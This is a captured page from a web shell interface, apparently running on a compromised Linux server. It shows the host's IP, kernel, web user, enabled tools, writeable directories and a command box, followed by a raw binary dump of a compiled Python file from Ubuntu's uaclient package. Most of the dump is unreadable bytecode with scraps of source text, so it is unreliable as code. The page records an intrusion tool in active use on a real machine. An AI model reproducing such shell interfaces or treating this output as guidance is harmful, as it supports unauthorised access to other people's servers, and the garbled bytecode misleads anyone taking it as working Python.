403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/uaclient/http/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/uaclient/http/__pycache__/serviceclient.cpython-314.pyc
+
��g����^RIt^RIt^RIt^RIt^RIHtHtHt^RIH	t	^RI
HtHtH
t
HtHt!RR]P R7tR#)�N)�Any�Dict�Optional)�	urlencode)�config�http�system�util�versionc�a�]tRt^to^tRt]]PV3RlRl44t	RV3RlRllt
RtRV3RlRlltV3R	lR
lt
V3RlRltR
tVtR#)�UAServiceClientNc� <�V^8�dQhRS[/#)��return��str)�format�
__classdict__s"��=/usr/lib/python3/dist-packages/uaclient/http/serviceclient.py�__annotate__�UAServiceClient.__annotate__s���
�
�3�
�c��R#)z@String in subclasses, the UAConfig attribute containing base urlN���selfs&r�cfg_url_base_attr�!UAServiceClient.cfg_url_base_attrs��	
rc�H<�V^8�dQhRS[S[P,RR/#)r�cfgrN)rr�UAConfig)rrs"�rrrs$�����H�V�_�_�5���rc�Z�V'g\P!4VnR#WnR#�N)rr!r )rr s&&r�__init__�UAServiceClient.__init__s������(�D�H��Hrc�V�RRP\P!44RRRR/#)z
user-agentzUA-Client/{}�accept�application/json�content-type)rr�get_versionrs&r�headers�UAServiceClient.headerss1���.�/�/��0C�0C�0E�F��(��.�
�	
rc�P<�V^8�dQhRS[RS[S[,RS[P/#)r�log_response_body�timeoutr)�boolr�intr�HTTPResponse)rrs"�rrr%s5���&
�&
� �&
��#��&
�
�	�	�&
rc	��VPR4pV'gVP4pVPR4R8Xd>V'd6\P!V\
PR7PR4p\P!\VPVP4V4pVPV4p	V	'dV	#V'dL\VP44U
Uu/uF
wr�VfKW�bK	pp
pVR\!V4,,
pVeTMVP"p
\$P&!VVVVV
VR7#uupp
i)�/r)r()�clszutf-8�?)�url�datar+�methodr/r.)�lstripr+�get�json�dumpsr
�DatetimeAwareJSONEncoder�encode�	posixpath�join�getattrr r�_get_fake_responses�sorted�itemsr�url_timeoutr�readurl)r�pathr8r+r9�query_paramsr.r/r7�
fake_response�k�v�filtered_params�timeout_to_uses&&&&&&&&      r�request_url�UAServiceClient.request_url%s���{�{�3�����l�l�n�G��;�;�~�&�*<�<���:�:�d��(E�(E�F�M�M���D��n�n�W�T�X�X�t�/E�/E�F��M���0�0��5�
�� � ��"(��(:�(:�(<�!=��!=�������!=�
��
�3��?�3�3�3�C�$+�$7��T�=M�=M���|�|�����"�/�

�	
��
s�1E�>Ec� <�V^8�dQhRS[/#)rr7r)rrs"�rrrMs��� 3� 3�� 3rc��VPeVPPV.4#VPPPR4pV'g	/VnM\\P
P
V4'g	/VnM/\P!\P!V44VnVPPV.4#)a�Return a list of fake response dicts for a given URL.

serviceclient_url_responses in uaclient.conf should be a path
to a json file which contains a dictionary keyed by full URL path.
Each value will be a list of dicts representing each faked response
for the given URL.

    The response dict item will have a code: <HTTP_STATUS_CODE> and
       response: "some string of content".
    The JSON string below fakes the available_resources URL on the
    contract server:
    '{"https://contracts.canonical.com/v1/resources":                [{"code": 200, "response": {"key": "val1", "key2": "val2"}}]}'

:return: List of dicts for each faked response matching the url, or
   and empty list when no matching url found.
�serviceclient_url_responses)�_response_overlayr;r �features�osrH�existsr<�loadsr	�	load_file)rr7�response_overlay_paths&& r�_get_response_overlay�%UAServiceClient._get_response_overlayMs���$�!�!�-��)�)�-�-�c�2�6�6� $��� 1� 1� 5� 5�)�!
��%�%'�D�"������ 5�6�6�%'�D�"�%)�Z�Z�� � �!6�7�&�D�"��%�%�)�)�#�r�2�2rc�J<�V^8�dQhRS[RS[S[P,/#)rr7r)rrrr2)rrs"�rrros&���
�
�s�
�x��8I�8I�/J�
rc	��VPV4pV'gR#\V4^8XdV^,pMVP^4p/p.pVR,p\V\4'dTpM\V\
4'dTp\P!VR,VPR/4\P!VR,RR7VVR7#)z7Return response if faked for this URL in uaclient.conf.N�response�coder+T)�	sort_keys)r`r+�body�	json_dict�	json_list)r[�len�pop�
isinstance�dict�listrr2r;r<r=)rr7�	responsesr_rcrd�resps&&     rrC�#UAServiceClient._get_fake_responsesos����.�.�s�3�	����y�>�Q�� ��|�H�!�}�}�Q�'�H��	��	��
�#���d�D�!�!��I�
��d�
#�
#��I�� � ��&�!��L�L��B�/����H�Z�0�D�A���
�	
r)rTr r#)NNNNTN)�__name__�
__module__�__qualname__�__firstlineno__rFrT�property�abc�abstractmethodrr$r+rOr[rC�__static_attributes__�__classdictcell__)rs@rr
r
sa�����K���
����
���
���
�&
�&
�P 3� 3�D
�
rr
)�	metaclass)rrr<rVr@�typingrrr�urllib.parser�uaclientrrr	r
r�ABCMetar
rrr�<module>r{s2��
��	��&�&�"�8�8�
����
r

Youez - 2016 - github.com/yon3zu
LinuXploit